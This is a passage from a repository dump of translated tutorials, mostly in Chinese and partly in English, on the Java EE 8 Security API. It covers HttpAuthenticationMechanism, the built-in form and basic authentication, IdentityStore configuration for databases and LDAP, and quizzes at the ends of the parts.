实例，所以此方法仅在 servlet 容器中运行。\n\n我们将简要总结使用这些方法的其中之一来检查用户对 web 资源的访问。\n\n## 使用 SecutiytContext：示例\n\n清单 8 演示了如何使用 `hasAccessToWebResource()` 方法测试调用方对指定 HTTP 方法的给定 web 资源的访问。在这种情况下，将 `SecurityContext` 实例注入到 servlet 中，并在 `doGet()` 方法中使用，测试调用方 URI `/secretServlet` 的 servlet 的 `GET` 方法的访问。\n\n##### 清单 8. 调用方的 web 资源访问测试\n\n```\n@DeclareRoles({\"admin\", \"user\", \"demo\"})\n@WebServlet(\"/hasAccessServlet\")\npublic class HasAccessServlet extends HttpServlet {\n  \n   @Inject\n   private SecurityContext securityContext;\n   @Override\n   public void doGet(HttpServletRequest req, HttpServletResponse res) \n\t\t\tthrows ServletException, IOException {\n       boolean hasAccess = securityContext.hasAccessToWebResource(\"/secretServlet\", \"GET\");\n       if (hasAccess) {\n           req.getRequestDispatcher(\"/secretServlet\").forward(req, res);\n       } else {\n           req.getRequestDispatcher(\"/logout\").forward(req, res);\n       }\n   }\n}\n```\n\n## 第一部分的总结\n\n新的 Java EE Security API 成功地将现有身份验证和授权机制与开发者期望的现代 Java EE 特性和技术的易用性相结合。\n\n尽管这个 API 的初始目标是寻求以一致性和可移值性的方式解决安全性方面的问题，但仍需继续改进。在未来的版本中，JSR 375 专家组打算集成用于密码别名、角色和权限分配以及拦截器授权的 API —— 这些是还没有被纳入规范 v1.0 中的特性。\n\n同时，专家组也希望集成诸如密码管理与加密等特性，这些特性对于本地云和微服务应用程序中的常见使用至关重要。此外，2016 [Java EE 社区调查](https://blogs.oracle.com/theaquarium/java-ee-8-community-survey-results-and-next-steps)还表明 OAuth2 和 OpenID 被选为 Java EE 8 中包含的第三个重要特性。虽然时间的限制将这些特性排除在 v1.0 中，但是在即将发布的版本中，包含这些特性确实是有着不可忽视的理由和动机。\n\n您已经对新的 Java EE Security API 的基本特性和组件有了大致的了解，我鼓励您通过下面的快速测试来检测您所学的内容。下一篇文章将深入研究 `HttpAuthenticationMechanism` 接口及其支持的 Servlet 4.0 的三种身份验证机制。\n\n## 测试您的理解\n\n1.  三种默认的 `HttpAuthenticationMechanism` 实现是什么？\n    1.  `@BasicFormAuthenticationMechanismDefinition`\n    2.  `@FormAuthenticationMechanismDefinition`\n    3.  `@LoginFormAuthenticationMechanismDefinition`\n    4.  `@CustomFormAuthenticationMechanismDefinition`\n    5.  `@BasicAuthenticationMechanismDefinition`\n2.  以下哪两个注解将触发内置 LDAP 和 RDBMS 标识存储？\n    1.  `@LdapIdentityStore`\n    2.  `@DataBaseIdentityStore`\n    3.  `@DataBaseIdentityStoreDefinition`\n    4.  `@LdapIdentityStoreDefinition`\n    5.  `@RdbmsBaseIdentityStoreDefinition`\n3.  以下哪种说法是正确的？\n    1.  `IdentityStore` 只用于 `HttpAuthenticationMechanism` 的实现。\n    2.  `IdentityStore` 可用于任何内置或者定制的安全策略解决方案。\n    3.  `IdentityStore` 只能通过注入 `IdentityStoreHandler`的实现才可以访问。\n    4.  `IdentityStore` 无法通过 `HttpAuthenticationMechanism` 的实现来使用。\n4.  `SecurityContext` 的目标是什么？\n    1.  提供跨 servlet 和 EJB 容器上下文安全访问的一致性。\n    2.  只提供针对 EJB 容器上下文安全访问的一致性。\n    3.  提供对所有容器上下文安全访问的一致性。\n    4.  提供对 Servlet 容器上下文安全访问的一致性。\n    5.  提供跨 EJB 容器对上下文安全访问的一致性。\n5.  为什么 `HttpAuthenticationMechanism` 实现必须是 `@ApplicationScoped`？\n    1.  为了确保它是 CDI 管理的 bean，而且可以供整个应用程序使用。\n    2.  为了让 `HttpAuthenticationMechanism` 可以在所有应用程序级别上使用。\n    3.  为了让每个用户都有一个 `HttpAuthenticationMechanism` 实例。\n    4.  `JsonAdapter`.\n    5.  这不是正确的说法。\n\n[检查您的答案](https://www.ibm.com/developerworks/library/j-javaee8-security-api-1/quiz-answers.html)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/j-javaee8-security-api-2.md",
    "content": "> * 原文地址：[Get started with the Java EE 8 Security API Part 2: Web authentication with HttpAuthenticationMechanis](https://www.ibm.com/developerworks/java/library/j-javaee8-security-api-2/index.html)\n> * 原文作者：[Alex Theedom](https://developer.ibm.com/author/alex.theedom)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/j-javaee8-security-api-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/j-javaee8-security-api-2.md)\n> * 译者：[Starriers](https://github.com/Starriers)\n\n# 从 Java EE 8 Security API 开始 —— 第二部分\n\n## 基于 HttpAuthenticationMechanism 认证\n\n使用 Java EE 8 新的注解驱动的 HTTP 身份验证机制的经典和自定义 Servlet 身份验证。\n\n关于本系列：\n\n期待已久的 [Java EE Security API (JSR 375)](https://jcp.org/en/jsr/detail?id=375) 将 Java 企业级安全带入云计算和微服务时代的新纪元。本系列的文章将向您展示如何简化新的安全机制，以及 Java EE 跨容器安全的标准化处理，然后在启用云的项目中使用它们。 \n\n[本系列的第一篇文章](https://www.ibm.com/developerworks/library/j-javaee8-security-api-1/index.html)概述了 [Java EE Security API (JSR 375)](https://jcp.org/en/jsr/detail?id=375)，包括对新的高级接口的介绍：`HttpAuthenticationMechanism`、`IdentityStore` 和 `SecurityContext`。本文将深入理解这三部分中的第一部分，您将学习如何在 Java web 示例应用程序中使用 `HttpAuthenticationMechanism` 来设置并配置用户身份验证。\n\n`HttpAuthenticationMechanism` 接口是 Java™ EE HTTP 新的身份验证机制的核心。它拥有三个内置的 CDI（上下文和依赖注入）实现，它们会自动实例化，然后供 CDI 容器调用。这些内置实现支持 Servlet 4.0 指定的三种经典身份验证方案：基本 HTTP 身份验证、基于表单的身份验证和自定义表单身份验证\n\n除了内置的身份验证方法，您还可以使用 `HttpAuthenticationMechanism` 来开发自定义身份验证。如果需要支持指定协议和身份验证令牌，可以选择此选项。一些 servlet 容器还可以提供自定义的 `HttpAuthenticationMechanism` 实现。\n\n本文中，您将亲自体验 `HttpAuthenticationMechanism` 接口及其三个内置实现。我还将向您演示如何编写自定义 `HttpAuthenticationMechanism` 身份验证机制。\n\n[获取代码](https://github.com/readlearncode/Java-EE-8-Sampler/tree/master/security-1-0)\n\n## 安装 Soteria\n\n我们将使用 Java EE 8 Security API 指南来实现 [Soteria](https://github.com/javaee/security-soteria)，通过 `HttpAuthenticationMechanism` 来研究可访问的内置身份验证机制和自定义的身份验证机制。您可以使用两种方法中的一种来获取 Soteria。\n\n### 1. 在您的 POM 中，显式指定 Soteria\n\n在您的 POM 中，使用以下 Maven 坐标来指定 Soteria：\n\n##### 清单 1. Soteria 项目的 Maven 坐标\n\n```\n<dependency>\n  <groupId>org.glassfish.soteria</groupId>\n  <artifactId>javax.security.enterprise</artifactId>\n  <version>1.0</version>\n</dependency>\n```\n\n### 2. 使用内置的 Java EE 8 坐标\n\n符合 Java EE 8 的服务器将拥有自己的新的 Java EE 8 Security API 实现，或者它们依赖于 Sotoria 的实现。无法如何，你都需要 Java EE 8 的坐标。\n\n##### 清单 2. Java EE 8 的 Maven 坐标\n\n```\n<dependency>\n <groupId>javax</groupId>\n <artifactId>javaee-api</artifactId>\n <version>8.0</version>\n <scope>provided</scope>\n</dependency>\n```\n\n## 内置身份验证机制\n\n内置的 HTTP 身份验证机制支持 [Servlet 4.0（第 13.6 章节）](https://javaee.github.io/servlet-spec/downloads/servlet-4.0/servlet-4_0_FINAL.pdf)指定的身份验证方式。下一章节我将向您演示如何使用注解来启用三种身份验证机制，以及如何在 Java web 应用程序中设置和实现每种机制。\n\n### @BasicAuthenticationMechanismDefinition\n\n`@BasicAuthenticationMechanismDefinition` 注解触发 Servlet 4.0（第 13.6.1 章节）定义的 HTTP 基本身份验证。它有一个可选参数 `realmName`，它通过 `WWW-Authenticate` 报头指定发送 realm 的名称。清单 3 演示了如何为名为 `user-realm` 的 realm 触发 HTTP 基本身份验证。\n\n##### 清单 3. HTTP 基本身份验证机制\n\n```\n@BasicAuthenticationMechanismDefinition(realmName=\"user-realm\")\n@WebServlet(\"/user\")\n@DeclareRoles({ \"admin\", \"user\", \"demo\" })\n@ServletSecurity(@HttpConstraint(rolesAllowed = \"user\"))\npublic class UserServlet extends HttpServlet { … }\n```\n\n### @FormAuthenticationMechanismDefinition\n\n`@FormAuthenticationMechanismDefinition` 注解引起 Servlet 4.0 规范定义中（第 13.6.3 章节）基于表单的身份验证。它有一个必须配置的选项。`loginToContinue` 选项接受配置的 `@LoginToContinue` 注解，该注解允许应用程序提供 \"login to continue\" 的功能。您可以选择使用合理的默认值或为此功能指定四个特性中的一个。\n\n在清单 4 中，登录页面 URI 被指定为 `/login-servlet`。如果身份验证失败，流将传递到 `/login-servlet-fail`。\n\n##### 清单 4. 基于表单的身份验证机制\n\n```\n@FormAuthenticationMechanismDefinition(\n\tloginToContinue = @LoginToContinue(\n\t\t   loginPage = \"/login-servlet\",\n\t\t   errorPage = \"/login-servlet-fail\"\n\t\t   )\n)\n@ApplicationScoped\npublic class ApplicationConfig { ... }\n```\n\n要设置跳转到登录页面的方式，请使用 `useForwardToLogin` 选项。如果需要将此选项设置为“转发”或者“重定向”，则应该显式声明 `true` 或者 `false`，缺省值为 `true`。或者，您可以通过传递给选项 `useForwardToLoginExpression` 的 EL 表达式来设置该值。\n\n`@LoginToContinue` 具有合理的默认值。登录页面被设置为 `/login`，同时错误页面被设置为 `/login-error`。\n\n### @CustomFormAuthenticationMechanismDefinition\n\n`@CustomFormAuthenticationMechanismDefinition` 注解为自定义登录表单提供了配置选项。在清单 5 中，你可以发现网站的登录页面被标识为 `login.do`。登录页面设置为 `@CustomFormAuthenticationMechanismDefinition` 注解的`loginPage` 参数的 `loginToContinue` 参数的值。注意，`loginToContinue` 是唯一的参数，而且是可选的。\n\n##### 清单 5. 自定义表单配置\n\n```\n@CustomFormAuthenticationMechanismDefinition(\n   loginToContinue = @LoginToContinue(\n       loginPage=\"/login.do\"\n   )\n)\n@WebServlet(\"/admin\")\n@DeclareRoles({ \"admin\", \"user\", \"demo\" })\n@ServletSecurity(@HttpConstraint(rolesAllowed = \"admin\"))\npublic class AdminServlet extends HttpServlet { ... }\n```\n\n清单 6 演示了 `login.do` 的登录页面，它是一个登录 backing bean 支持的 JSF（JavaServer Pages）页面，如清单 7 所示。\n\n##### 清单 6. login.do JSF 登录页面\n\n```\n<form jsf:id=\"form\">\n   <p>\n       <strong>Username</strong>\n       <input jsf:id=\"username\" type=\"text\" jsf:value=\"#{loginBean.username}\" />\n   </p>\n   <p>\n       <strong>Password</strong>\n       <input jsf:id=\"password\" type=\"password\" jsf:value=\"#{loginBean.password}\" />\n   </p>\n   <p>\n       <input type=\"submit\" value=\"Login\" jsf:action=\"#{loginBean.login}\" />\n   </p>\n</form>\n```\n\n登录 backing bean 使用 `SecurityContext` 实例来执行身份验证，如清单 7 所示。如果验证成功，将授予用户对资源的访问权；否则，流将传递给错误页面。在本例中，它将用户转发到默认的 URI `/login-error`。\n\n##### 清单 7. 登录 backing bean\n\n```\n@Named\n@RequestScoped\npublic class LoginBean {\n  \n   @Inject\n   private SecurityContext securityContext;\n\n   @Inject\n   private FacesContext facesContext;\n\n   private String username, password;\n  \n   public void login() {\n      \n       Credential credential = new UsernamePasswordCredential(username, new Password(password));\n      \n       AuthenticationStatus status = securityContext.authenticate(\n           getRequestFrom(facesContext),\n           getResponseFrom(facesContext),\n           withParams().credential(credential));\n      \n       if (status.equals(SEND_CONTINUE)) {\n           facesContext.responseComplete();\n       } else if (status.equals(SEND_FAILURE)) {\n           addError(facesContext, \"Authentication failed\");\n       }\n      \n   }\n   // 为了简洁而省略一些方法\n}\n```\n\n## 编写一个自定义 HttpAuthenticationMechanism\n\n在大多数场景中，您会发现这三个内置的实现已经足以满足您的需求。在某些场景中，您可能更喜欢编写自己的 `HttpAuthenticationMechanism` 接口实现。本节中，我将介绍如何编写自定义的 `HttpAuthenticationMechanism` 接口。\n\n为了确保 Java 应用程序可以使用它，您需要将 `HttpAuthenticationMechanism` 接口实现为具有 `@ApplicationScope` 的 CDI bean。接口定义了以下三种方法：\n\n*   `validateRequest()` 身份验证的 HTTP 请求。\n*   `secureResponse()` 保护 HTTP 相应消息。\n*   `cleanSubject()` 清除提供的主体和凭据的主题。\n\n`HttpServletRequest`、`HttpServletResponse` 和  `HttpMessageContext` 方法都接受相同的参数类型。它们都映射在由容器提供的 [JASPIC Server Auth Module](https://github.com/trajano/server-auth-modules) 接口所定义的对应方法上。当在 `Server Auth` 上调用 JASPIC 方法时，它将委托给您自定义的 `HttpAuthenticationMechanism`。\n\n##### 清单 8. 自定义 HttpAuthenticationMechanism 的实现\n\n```\n@ApplicationScoped\npublic class CustomAuthenticationMechanism implements HttpAuthenticationMechanism {\n\n   @Inject\n   private IdentityStoreHandler idStoreHandler;\n\n   @Override\n   public AuthenticationStatus validateRequest(HttpServletRequest req, \n   \t\t\t\t\t\t\t\t\t\t\t   HttpServletResponse res, \n\t\t\t\t\t\t\t\t\t\t\t   HttpMessageContext msg) {\n       // use idStoreHandler to authenticate and authorize access\n       return msg.responseUnauthorized(); // other responses available\n   }\n}\n```\n\n## 在 HTTP 请求期间执行方法\n\n在 HTTP 请求期间，在固定时刻调用 `HttpAuthenticationMechanism` 实现的方法。图 1 描述了在 `Filter` 和 `HttpServlet` 实例上调用每个方法的时间。\n\n##### 图 1. 方法调用顺序\n\n![方法调用顺序](https://www.ibm.com/developerworks/java/library/j-javaee8-security-api-2/MethodCallSequence.png)\n\n在执行 `doFilter()` 或 `service()` 方法之前调用 `validateRequest()` 方法，并在 `HttpServletResponse` 实例上调用 `authenticate()`。此方法的目的是允许调用方进行身份验证。为了进行这个操作，方法应该拥有调用方 `HttpRequest` 和 `HttpResponse` 实例的访问权限。它可以使用这些来获取请求的身份验证信息，也可以为了调用方重定向到 OAuth 提供者而进行写入操作。完成身份验证之后，它可以使用 `HttpMessageContext` 实例来告知身份验证的状态。\n\n在执行 `doFilter()` 或者 `service()` 之后调用 `secureResponse()` 方法。它在 servlet 或 过滤器生成的响应上提供后置处理功能。加密是该方法的潜在功能。\n\n在调用 `HttpServletRequest` 实例上的 `logout()` 方法之后，调用 `cleanSubject()` 方法。此方法还可用于删除注销时间后与用户相关的状态。\n\n`HttpMessageContext` 接口有一个 `HttpAuthenticationMechanism` 实例可以用来与调用它的 `ServerAuthModule` 进行通信的方法。\n\n## 自定义示例：使用 cookie 进行身份验证\n\n正如我之前提及的那样，您通常会编写一个自定义实现来提供内置选项中不可用的功能。一个示例是，在身份验证流中使用 cookie。\n\n在类的级别中，您可以使用可选的 `@RememberMe` 注解来有效地“记住”用户身份验证，并在每个请求中自动应用它。\n\n##### 清单 9. 在自定义的 HttpAuthenticationMechanism 中使用 @RememberMe\n\n```\n@RememberMe(\n       cookieMaxAgeSeconds = 3600\n)\n@ApplicationScoped\npublic class CustomAuthenticationMechanism implements HttpAuthenticationMechanism { … }\n```\n\n这个注解有 8 个配置选项，每一个选项都有合理的默认值，因此您不必手动实现它们：\n\n*   **`cookieMaxAgeSeconds`** 设置 “remember me” cookie 的生命周期。\n*   **`cookieMaxAgeSecondsExpression`** 是 cookieMaxAgeSeconds的 EL 版本。\n*   **`cookieSecureOnly`** 指定只能通过安全方法（HTTPS）访问 cookie。\n*   **`cookieSecureOnlyExpression`** 是 cookieSecureOnly 的 EL 版本。\n*   **`cookieHttpOnly`** 表示只有 HTTP 请求才能发送 cookie。\n*   **`cookieHttpOnlyExpression`** 是 cookieHttpOnly 的 EL 版本。\n*   **`cookieName`** 设置 cookie 的名称、\n*   **`isRememberMe`** \"remember me\" 的开关。\n*   **`isRememberMeExpression`** 是 isRememberMe 的 EL 版本。\n\n`RememberMe`功能被作为**拦截器绑定**而实现。容器将拦截对 `validateRequest()` 和 `cleanSubject()` 方法的调用。当对包含 `RememberMe` cookie 实现的调用，调用 `validateRequest()`方法时，它将尝试对调用方进行身份验证。如果成功，通知 `HttpMessageConext` 登录事件；否则 cookie 将被移出。拦截 `cleanSubject()` 方法只需删除 cookie 并完成注销请求。\n\n## 第二部分结论\n\n新的 `HttpAuthenticationMechanism` 接口是 Java EE 8 中 web 身份验证的核心。它内置的三种身份验证支持 Servlet 4.0 中指定的经典身份验证方法，而且也很容易为自定义实现进行接口扩展。在本教程中，您学习了如何使用注解来调用和配置  `HttpAuthenticationMechanism` 的内置机制，以及如何为特殊用例编写自定义机制。我鼓励您用下面的小测验来测试您所学到的东西。\n\n这篇文章深入地介绍新的 Java EE 8 Security API 的三个主要组件中的第一个。接下来的两篇文章将介绍 `IdentityStore` 和 `SecurityContext` API 的实践。\n\n## 测试您的掌握程度\n\n1.  三种默认的 `HttpAuthenticationMechanism` 实现是什么？\n    1.  `@BasicFormAuthenticationMechanismDefinition`\n    2.  `@FormAuthenticationMechanismDefinition`\n    3.  `@LoginFormAuthenticationMechanismDefinition`\n    4.  `@CustomFormAuthenticationMechanismDefinition`\n    5.  `@BasicAuthenticationMechanismDefinition`\n2.  一下哪两个注释会引发基于表单的身份验证？\n    1.  `@BasicAuthenticationMechanismDefinition`\n    2.  `@BasicFormAuthenticationMechanismDefinition`\n    3.  `@FormAuthenticationMechanismDefinition`\n    4.  `@FormBasedAuthenticationMechanismDefinition`\n    5.  `@CustomFormAuthenticationMechanismDefinition`\n3.  下列哪两项是基于身份验证的有效配置？\n    1.  `@BasicAuthenticationMechanismDefinition(realmName=\"user-realm\")`\n    2.  `@BasicAuthenticationMechanismDefinition(userRealm=\"user-realm\")`\n    3.  `@BasicAuthenticationMechanismDefinition(loginToContinue = @LoginToContinue)`\n    4.  `@BasicAuthenticationMechanismDefinition`\n    5.  `@BasicAuthenticationMechanismDefinition(realm=\"user-realm\")`\n4.  下列哪三项是基于表单的身份验证的有效配置？\n    1.  `@FormAuthenticationMechanismDefinition(loginToContinue = @LoginToContinue)`\n    2.  `@FormAuthenticationMechanismDefinition`\n    3.  `@FormBasedAuthenticationMechanismDefinition`\n    4.  `@FormAuthenticationMechanismDefinition(loginToContinue = @LoginToContinue(useForwardToLoginExpression = \"${appConfigs.forward}\"))`\n    5.  `@FormBasedAuthenticationMechanismDefinition(loginToContinue = @LoginToContinue)`\n5.  在 HTTP 请求期间，按照什么顺序，在 `HttpAuthenticationMechanism`、`Filter` 和 `HttpServlet` 实现上调用方法？\n    1.  `doFilter()`, `validateRequest()`, `service()`, `secureResponse()`\n    2.  `validateRequest()`, `doFilter()`, `secureResponse()`, `service()`\n    3.  `validateRequest()`, `service()`, `doFilter()`, `secureResponse()`\n    4.  `validateRequest()`, `doFilter()`, `service()`, `secureResponse()`\n    5.  `service()`, `secureResponse()`, `doFilter()`, `validateRequest()`\n6.  如何为 `RememberMe` cookie 设置最长有效时间？\n    1.  `@RememberMe(cookieMaxAge = (units = SECONDS, value = 3600)`\n    2.  `@RememberMe(maxAgeSeconds = 3600)`\n    3.  `@RememberMe(cookieMaxAgeSeconds = 3600)`\n    4.  `@RememberMe(cookieMaxAgeMilliseconds = 3600000)`\n    5.  `@RememberMe(cookieMaxAgeSeconds = \"3600\")`\n\n[检查您的答案](http://www.ibm.com/developerworks/library/j-javaee8-security-api-2/quiz-answers.html)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/j-javaee8-security-api-3.md",
    "content": "> * 原文地址：[Get started with the Java EE 8 Security API Part 3: Securely access user credentials with IdentityStore](https://www.ibm.com/developerworks/java/library/j-javaee8-security-api-3/index.html?ca=drs-)\n> * 原文作者：[Alex Theedom](https://developer.ibm.com/author/alex.theedom)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/j-javaee8-security-api-3.md](https://github.com/xitu/gold-miner/blob/master/TODO1/j-javaee8-security-api-3.md)\n> * 译者：\n> * 校对者：\n\n# Get started with the Java EE 8 Security API, Part 3\n\n## Securely access user credentials with IdentityStore\n\nAuthenticate and authorize users with the new IdentityStore API\n\nAbout this series:\n\nThe new and long-awaited [Java EE Security API (JSR 375)](https://jcp.org/en/jsr/detail?id=375) ushers Java enterprise security into the cloud and microservices computing era. This series shows you how the new security mechanisms simplify and standardize security handling across Java EE container implementations, then gets you started using them in your cloud-enabled projects.\n\nThe [first article in this series](https://www.ibm.com/developerworks/library/j-javaee8-security-api-1/index.html) presented a high-level introduction to basic features and components of the new [Java™ EE Security API (JSR 375)](https://jcp.org/en/jsr/detail?id=375), including the new `IdentityStore` interface. In this article you’ll learn how to use `IdentityStore` to securely store and access user credential data in your Java web applications.\n\nThe new `IdentityStore` abstraction is one of three headline features in the Java EE Security API specification release. An _identity store_ is a database that stores user identity data such as user name, group membership, and other information used to verify a caller's credentials. While `IdentityStore` is designed to be used with any authentication mechanism, it is especially well suited to integrating with Java EE 8's `HttpAuthenticationMechanism`, which I introduced in [Part 2](https://www.ibm.com/developerworks/java/library/j-javaee8-security-api-2/index.html).\n\n[Get the code](https://github.com/readlearncode/Java-EE-8-Sampler/tree/master/security-1-0)\n\n## Installing Soteria\n\nWe’ll use the Java EE 8 Security API reference implementation, [Soteria](https://github.com/javaee/security-soteria), to explore `IdentityStore`. You can get Soteria in one of two ways.\n\n### 1. Explicitly specify Soteria in your POM\n\nUse the following Maven coordinates to specify Soteria in your POM:\n\n##### Listing 1. Maven coordinates for the Soteria project\n\n```\n<dependency>\n  <groupId>org.glassfish.soteria</groupId>\n  <artifactId>javax.security.enterprise</artifactId>\n  <version>1.0</version>\n</dependency>\n```\n\n### 2. Use built-in Java EE 8 coordinates\n\nJava EE 8-compliant servers will have their own implementation of the new Java EE 8 Security API, or they’ll rely on Sotoria’s implementation. In either you only need the Java EE 8 coordinates:\n\n##### Listing 2. Java EE 8 Maven coordinates\n\n```\n<dependency>\n <groupId>javax</groupId>\n <artifactId>javaee-api</artifactId>\n <version>8.0</version>\n <scope>provided</scope>\n</dependency>\n```\n\nInterfaces, classes, and annotations related to `IdentityStore` are located in the `javax.security.enterprise.identitystore` package.\n\n## How IdentityStore works\n\nSimilar to the [JAAS LoginModule](https://docs.oracle.com/javase/8/docs/technotes/guides/security/jaas/JAASLMDevGuide.html) interface, `IdentityStore` is an abstraction used to interact with identity stores and authenticate users and retrieve group memberships. `IdentityStore` is designed to work well with `HttpAuthenticationMechanism` but you may use any authentication mechanism you wish. You also have your choice of whether to use containers, but using a container with the `IdentityStore` mechanism is recommended for most scenarios. Combining `IdentityStore` with a container lets you control the identity stores in a portable, standard way.\n\n### IdentityStoreHandler\n\nInstances of `IdentityStore` are managed with the `IdentityStoreHandler`, which provides mechanisms for querying all available identity stores. An instance of the handler type is made available for injection via CDI, as shown in Listing 3. This will be used wherever authentication needs to happen. (See [Part 1](https://www.ibm.com/developerworks/java/library/j-javaee8-security-api-1/index.html) for an overview of CDI in the Java EE Security API.)\n\n##### Listing 3. Inject the identity store handler\n\n```\n@Inject\nprivate IdentityStoreHandler idStoreHandler;\n```\n\nThe `IdentityStoreHandler` interface has one method, `validate()`, which accepts a [credential](https://javaee.github.io/security-api/apidocs/javax/security/enterprise/credential/Credential.html) instance. Implementations of this method will typically invoke the `validate()` and `getCallerGroups()` methods associated with one or more `IdentityStore` implementations, then return an aggregated result. I'll explain more about this feature later in the tutorial.\n\nThe Java EE Security API comes with a default implementation of the `IdentityStoreHandler` interface, which should suffice in most cases. You also have the option to replace the default with a custom implementation.\n\nThe default implementation of `IdentityStoreHandler` authenticates against multiple `IdentityStore`s. It iterates over a list of stores, and returns an aggregated result in the form of a `CredentialValidationResult` instance. This object can be very simple or more complex. At its simplest, it delivers a status value of `NOT_VALIDATED`, `INVALID`, or `VALID`. In many cases, you will want some combination of these additional values:\n\n*   `CallerPrincipal`, with or without the caller's groups\n*   The caller's name or LDAP-distinguished name\n*   The caller's unique identifier from the identity store\n\nFor now we will focus on defaults, but later in the article I will show you how to setup your own lightweight identity store by implementing the `IdentityStore` interface.\n\n## Built-in identity stores\n\nThe Java EE Security API comes with built-in `IdentityStore` implementations for LDAP and RDBMS. Like other features in the new Security API, these are easily invoked with annotations.\n\n#### Calling a built-in RDBMS integration\n\nExternal databases are accessible via a `DataSource` bound to JNDI. You’ll use the `@DataBaseIdentityStoreDefinition` annotation to activate an external database. Once activated, you’ll configure connection details by passing values to the annotation.\n\n#### Calling a built-in LDAP integration\n\nYou’ll use the `@LdapIdentityStoreDefinition` annotation to call and configure an LDAP `IdentityStore` bean. After you’ve called the bean, you can pass in the configuration details required to connect to an external LDAP server.\n\nNote that these implementations are application-scoped CDI beans and are based on the `[@DataStoreDefinition](https://docs.oracle.com/javaee/7/api/javax/annotation/sql/DataSourceDefinition.html)` annotation already available in Java EE 7.\n\n### How to configure a built-in RDBMS identity store\n\nThe simplest built-in identity store is the database store, which is configured via the `@DataBaseIdentityStoreDefinition` annotation. Listing 4 shows a sample configuration for a built-in database store.\n\n##### Listing 4. Configuring an RDBMS identity store\n\n```\n@DatabaseIdentityStoreDefinition(\n   dataSourceLookup = \"${'java:global/permissions_db'}\",\n   callerQuery = \"#{'select password from caller where name = ?'}\",\n   groupsQuery = \"select group_name from caller_groups where caller_name = ?\",\n   hashAlgorithm = PasswordHash.class,\n   priority = 10\n)\n@ApplicationScoped\n@Named\npublic class ApplicationConfig { ... }\n```\n\nThe configuration options in Listing 4 should be familiar if you’ve ever configured a database definition. One thing you should note is the priority setting of 10. This value is used in cases where multiple identity stores have been implemented. It’s used to determine the order of iteration, which I will discuss in more detail soon.\n\nThere are nine possible parameters you can use to configure your database. You can review them in the Javadoc for `[DatabaseIdentityStoreDefinition](https://javaee.github.io/security-api/apidocs/javax/security/enterprise/identitystore/DatabaseIdentityStoreDefinition.html)`.\n\n### How to configure a built-in LDAP identity store\n\nThe LDAP configuration has far more configuration options than the RDBMS option. If you are experienced with LDAP configuration semantics, the configuration options will be familiar to you. Listing 5 shows a subset of the options for configuring an LDAP identity store.\n\n##### Listing 5. Configuration for an LDAP identity store\n\n```\n@LdapIdentityStoreDefinition(\n   url = \"ldap://localhost:33389/\",\n   callerBaseDn = \"ou=caller,dc=jsr375,dc=net\",\n   groupSearchBase = \"ou=group,dc=jsr375,dc=net\"\n)\n@DeclareRoles({ \"admin\", \"user\", \"demo\" })\n@WebServlet(\"/admin\")\npublic class AdminServlet extends HttpServlet { ... }\n\n```\n\nSee the `[LdapIdentityStoreDefinition](https://javaee.github.io/javaee-spec/javadocs/javax/security/enterprise/identitystore/LdapIdentityStoreDefinition.html)` Javadoc to view the 24 possible parameters for configuring an LDAP identity store.\n\n## Develop a custom identity store\n\nIf neither of the built-in identity stores satisfies your requirements, then you might use the `IdentityStore` interface to develop a custom solution. The `IdentityStore` interface comes with four methods and all have default implementations. Listing 6 shows the signature for each of these methods.\n\n##### Listing 6. IdentityStore's four methods\n\n```\ndefault CredentialValidationResult validate(Credential)\ndefault Set<String> getCallerGroups(CredentialValidationResult) \ndefault int priority()\ndefault Set<ValidationType> validationTypes()\n```\n\nAll methods in the `IdentityStore` interface are marked `default`, so it isn’t obligatory to provide implementations. Two key methods are called by default, and a third is used for cases where you've configured multiple identity stores:\n\n*   `**validate()**` determines if the given `Credential` is valid and returns a `CredentialValidationResult`.\n*   `**getCallerGroups()**` returns a `Set` of group names that the caller is associated with and aggregates them with groups already listed in the `CredentialValidationResult` instance.\n*   `**getPriority()**` comes into play when more than one `IdentityStore` is defined. The lower the value the higher the priority. Equal priorities have undefined behavior.\n*   `**validationTypes()**` returns a set of `ValidationTypes` which determine which method/s (`validate()` and/or `getCallerGroups()`) have been implemented.\n\nAn invocation of the `validate()` method determines if the given `Credential` is valid and returns a 